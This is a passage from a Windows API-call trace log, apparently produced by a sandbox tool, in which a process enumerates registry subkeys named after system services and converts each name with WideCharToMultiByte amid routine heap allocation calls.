CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.929] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.929] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.929] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0215.929] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0215.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0215.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0215.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0215.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0215.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.930] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0215.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.930] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.930] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0215.930] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0215.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.931] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0215.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0215.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.931] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0215.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0215.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.931] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.931] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0215.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0215.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.932] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0215.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0215.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.932] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0215.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0215.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1b68, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0215.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0215.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0215.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0215.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0215.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0215.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0215.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0215.934] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.934] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0215.935] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0215.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0215.935] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.935] RegEnumKeyW (in: hKey=0x148, 